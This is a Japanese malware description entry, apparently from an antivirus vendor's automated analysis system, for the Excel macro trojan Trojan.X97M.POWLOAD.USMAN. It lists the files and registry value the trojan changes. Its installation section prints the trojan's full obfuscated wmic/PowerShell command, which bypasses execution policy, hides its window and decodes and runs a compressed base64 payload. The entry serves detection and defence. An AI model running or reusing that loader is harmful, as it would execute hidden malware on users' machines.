Trojan.X97M.POWLOAD.USMAN

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• wmic 'pRoCesS' "cAll" "CrEATe" "POwErShELL -exeCuT BypAss -wIndoWs 001 -NoniNt -nOP $9S = ([CHAR]34).TOSTring() ;Set 9Y ([String][CHaR]44 ) ;"\"&(${9S}{1}{0}${9S} -f'al'${9Y}'s') (${9S}{0}{1}${9S}-f'us'${9Y}'er') (${9S}{0}{2}{1}${9S} -f'Ne'${9Y}'ct'${9Y}(${9S}{1}{0}${9S}-f'e'${9Y}(${9S}{0}{1}${9S}-f 'w'${9Y}'-Obj')));& ( `${P`shO`mE}[21]+`${p`sHo`mE}[30]+'x')(&(${9S}{1}{0}${9S} -f 'r'${9Y}'use') IO.StreAMREadER(( .(${9S}{0}{1}${9S} -f 'US'${9Y}'ER') iO.cOmPressIOn.dEflAtESTrEAm( [SYstem.io.MeMOryStREAm][systEm.coNVeRt]::fRoMBAsE64STRinG( (${9S}{50}{49}{29}{30}{42}{34}{16}{53}{19}{38}{0}{41}{54}{18}{14}{9}{11}{35}{36}{47}{21}{24}{26}{39}{8}{25}{1}{3}{32}{4}{10}{12}{28}{27}{20}{48}{15}{40}{46}{55}{23}{44}{45}{52}{6}{7}{31}{2}{22}{37}{51}{33}{43}{13}{17}{5}${9S} -f'lXM4L2jguyE5sGQQtQdE1InR2D2Eh9oBzc/2q+ot'${9Y}'AUe+4P5/Yxp2u7ImZvon3TwrBJReamAJBAFX5IRdjsfKMSj5BtKHfU5PKdh+jppQ17'${9Y}'U/A9XC8lemQhfLGkn/kJKfwFKwnjS1yQv71upp+O6nK4tFNGcuSbFOhhPQNNKH9x8Jh0xyemjwTxhhoa2N38No/wJs'${9Y}'A'${9Y}'dEjpfj2b8agr/uCkfAu6QmANUiYl7hH0jJTe1oInBpD'${9Y}'E1UG1ZzrN7l2HKiRzcqGx0EKge+74sx9QHfe5wBxFGtFbaxldfFPXRjnQIRm31DzkmCsuaQ/pqrNQUc1/gI='${9Y}'CUY++QSBnbAJOovnX6mGAbRJXzeBOpfPq5knVsBhucgaHnQwy3+9m11AfCh4anrQH/r9pxaOszCwz93zsObbuul0ogTSciueI/1K9KE'${9Y}'ce697MRGwbsRefYU9z9dJF+e1znOTPF+1J9BODX'${9Y}'ECRcOdMJ/YIkH9+pQE0mcogZPyqehBqBDYO5B3uoOYHzKQT'${9Y}'n9LDvdbCKrLELOQjO9T2ffePa3'${9Y}'kzm5i3HOG'${9Y}'V2awQqXfbYt2l6UCM9veUv'${9Y}'ZJ02EsGeKeF3ftRwdfk1Qx1ubCqLRJ9vTnvKoAVH2mm'${9Y}'MTEmQvHDFsdw32atOes9aRnWbUhP/g5BqeVrmcaKFqFPACH/UjuZndKaQZGl'${9Y}'Ah3KqCM9mVwLXNHsTi3s/c'${9Y}'wTAsfrFSd'${9Y}'ru9w2Y11x+l9mO3IaU0EPDBxk+WbA/wTTMNtLJo8SJzkY29dNwVI4ZLChMIJ3bZQq'${9Y}'mCBT1M5UojP+4Sx8'${9Y}'zLDNAtSf1yiVCbtR0HeLcW'${9Y}'zvD'${9Y}'hzGqKVm5bPDm+ApZCaISr4ibNbEiH0Hepa1C2BrgR1JSx1KyyvV21fzClYgJOQYjfgyUyzHlbITsgYl8B73QAKcgIz9gbmKOp/GCAUyAYSvBjXRxRQvE63FE3PAxw1f8MJirKlXz'${9Y}'zpwVvIOMywo9BcSRD63DWVZmoUMeCpomNRmN/g7XVFvT1aUc20oFc36caWlwgkAf7M0YlYcec0W3kzjgYqIA4HK1mwuqpssZiRftohHhjk0/X1FWPXw1t8uEGdwD1gLXl5e2NWP1eqtxjaRgPyUMuTDkXxPIBbuCRfVnS/CzOjkasYZGyFf7zK4U/U/hjqz9TpEnCAlED+bYpOjhX3eefzu/8+'${9Y}'TtQrV/4L/62SvdhEGx'${9Y}'/ICM8CViZOABtoHXWFcfOYWintrBFQnEGCeT6JFek8Kufa0OxFkIwKuz6I+azYHR777M2T'${9Y}'IE1bkfDuFS0ilZja'${9Y}'DDFHYfyAAQvUfTQiz'${9Y}'hln+NzvNhDxdNNZRpGxDxY+A3EEz5s86ZnZHg'${9Y}'0'${9Y}'9Wy77W5SVq6GPSegpF8L7XIGX'${9Y}'Qh16SVdhHCbvcNtY0WONYYFv9tSA86QYfJ9ZY/gbFXi8Yo6XkY5Gin'${9Y}'NqP8Bm19aphV3+fIe1g24XA63ngO3jv0AYkBQjRDSddCGKyW'${9Y}'w+0NygqXambIYfYHe80PebEHU94sjLg3WcBb0ZNE4PO2j42iK0doN2Tif3SFMmv3EOf+szRP2y6BHhh5+Am0UBXfCxu55gZHRaJ66gbg19'${9Y}'yMs+ApZhHtpIZieVp'${9Y}'cy2dr/FzRn9Mvx6OMakCEJUBxq+08dy1/dLyifFP4yGhaGysCAJbErd8/3ws2spLpMcMwD7ry5OS'${9Y}'8K'${9Y}'U7WECDw'${9Y}'TmoBseYwWPaBGAfpbF00QDH7HiPGU4V'${9Y}'lq'${9Y}'EQ3hmEgYb3klg89JE43o23pUqBcOG6HSwpEVazuRkCJ9FR+l/haOiNYd7qxFO4SdBbBPTVoYrcX2SwaoiSqsL2BAdJCsLj/FCqxovrY3dQYzTwMR5CbipApu2ByfbSkRFH'${9Y}'9MWc+E0WgJlRhcJ'${9Y}'2BB1xRfyQOZuFu'${9Y}'FbYtQJZL199Ll/B+jvzZZ1SWHVlHR/M4V1ttg4miQgDsmQVvbBznqSxK6QLM+8QoQGCE6/HcRIJaphOsAl/5zqKMUgp4ivfm3CdluhlYffhSiP/sIsPUb9Ri3iyjgJS2P1fSrBh+RvYtIzRq'${9Y}'njKLAALrxImHdu/Yd7H6A6ytcb6lq0P2x4qP8mere+lu5+yW1oAsH4oQ/w8'${9Y}'rVxdQdHC1IUt+5xh'${9Y}'BKSGe6lHDzdpXSzDv4mcK5ErF81x2ZsFDI'${9Y}'Ask9BPtH'${9Y}'zAcR9F/Yb1zTTzujggFhRieFEoA'${9Y}'C3oM8zzLT'${9Y}'qlVKpR9L1I2NbCTKptgj5lnY5KjY2gp9DHVUOp7hqHE9vEFnaTC9zPJgU6aOI40w23gh7hK8DZVVfzCrCmwgz5sLLxoOBrpJxCkeCFOcEBBxZUeMNRA5f6av'${9Y}'ZttWcRDKAm6/Z/36oGFd39ALbQXS9PVT1VxIIQXdtdy92V3N3IXUXuylIrz'${9Y}'bVdtd6LIEv4rPRxvGsbIRBOzc+Lx3EuUJOwS41VHM9fx3E'${9Y}'xu330QKVfqYW2SvmWg0sY5VWql+OitonzYBs+9mGLY/M7nV7rOME'${9Y}'Y2J2'${9Y}'NdxPEQHrnuX31XhFCDTy6y7'${9Y}'o8lLANcvTEu6/rF3rE0gQl9xHJJSu0Iq2jC4xicLDlTkNVmoikNU3u2mGixrRM0QzZ4slpNn2sgb8IsWR921kEilhwMT3gUrro82giQYj55wdTnHT4bwdZX9i7rF6eOxzwChWvQVtg1QJTyGRx6s8Gfwq6XHjhGdR3'${9Y}'nZ1nPcLFnGEbp11AER+B77OFRJW+wuesxzpZt1YwdcKiwayI95a3CNjSfqEjDwbn88+IQh+tDKOZo+BIxKkXQUZEdlAmBx565duQCzQSSL2BbHqAFCQos0h') )${9Y}[IO.COMPReSSioN.cOMpreSsiONmOdE]::DecOMpRESs ) )${9Y}[sYstEM.teXT.EnCoDinG]::utf8) ).

他のシステム変更

マルウェアは、以下のファイルを改変します。

• %Application Data%\Microsoft\Office\Excel12.pip

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

作成活動

マルウェアは、以下のファイルを作成します。

• %User Temp%\12124615.od
• {malware file path and name}
• %Application Data%\Microsoft\Office\Excel12.pip

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

このウイルス情報は、自動解析システムにより作成されました。